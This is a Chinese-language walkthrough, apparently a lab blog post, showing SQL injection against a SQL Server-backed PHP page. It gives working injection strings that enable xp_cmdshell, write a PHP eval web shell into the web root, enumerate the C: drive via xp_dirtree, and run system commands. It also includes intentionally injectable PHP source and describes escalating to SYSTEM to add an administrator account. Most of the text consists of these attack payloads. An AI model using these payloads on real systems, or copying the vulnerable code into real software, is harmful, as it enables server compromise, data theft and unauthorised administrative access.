sql server 数据库可以通过xp_cmdshell组件执行一些系统命令
可以看到sql server 数据库在默认这状态下阻止了xp_cmdshell的应用
通过以下命令进行开启:
id=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE WITH OVERRIDE ; -- '
虽然没有在页面回显,实际上已经开启xp_cmdshell
附加上:
关闭xp_cmdshell
写入一句话木马
id=1' exec master..xp_cmdshell "echo ^<?php eval($_POST['cmd'])?^> > C:\\xampp\\htdocs\\cmd.php" -- '
查看文件
进行验证
遍历C盘
为了确保准确语句是否执行成功,复制connect.php源代码到shell.php
因为需要在URL上执行两条或多条系统命令,需要修改源代码
源代码为
<?php
header("Content-type:text/html; charset=gbk");
$serverName = "127.0.0.1";
$uid="sa";
$pwd="123456";
$connectionInfo = array("UID"=>$uid, "PWD"=>$pwd, "Database"=>"demo");
$conn = sqlsrv_connect($serverName, $connectionInfo);
if($conn == false){
echo "连接失败!";
var_dump(sqlsrv_errors());
exit;
}else{
//echo "链接成功";
$id=$_GET['id'];
$sqls = "select * from users where id='".$id."'";
echo $sqls."<hr/>";
$sql=explode(';', $sqls);
//var_dump(sqlsrv_errors());
if(empty(sqlsrv_errors())){
$query = sqlsrv_query($conn,$sql[0]);
while($num=sqlsrv_fetch_array($query)){
echo $num['name'];
}
$query = @sqlsrv_query($conn,$sql[1]);
while($num=@sqlsrv_fetch_array($query)){
print_r($num);
}
}else{
$error=sqlsrv_errors();
echo $error[0][2];
}
sqlsrv_close($conn);
}
?>
保存进行访问,创建数据库
id=1'; create table dirs(paths varchar(200),id int) -- '
查看数据库,进行调整
插入数据
id=1'; insert dirs exec master.dbo.xp_dirtree 'c:\' -- '
将C盘遍历插入到数据表中,查看
进行读取数据
1'; select top 100 paths from dirs -- '
自然可以执行dos命令,语句为:
id=1'; exec master..xp_cmdshell 'ipconfig' --
添加管理员
查看当前权限
不懂该权限时什么意思,查找后为
在该network权限下是无法添加管理员的,要想添加管理员
需要把当前用户的权限修改为localSystem权限进行运行
重启后再次执行
成功修改为system权限
再次添加管理员
附图: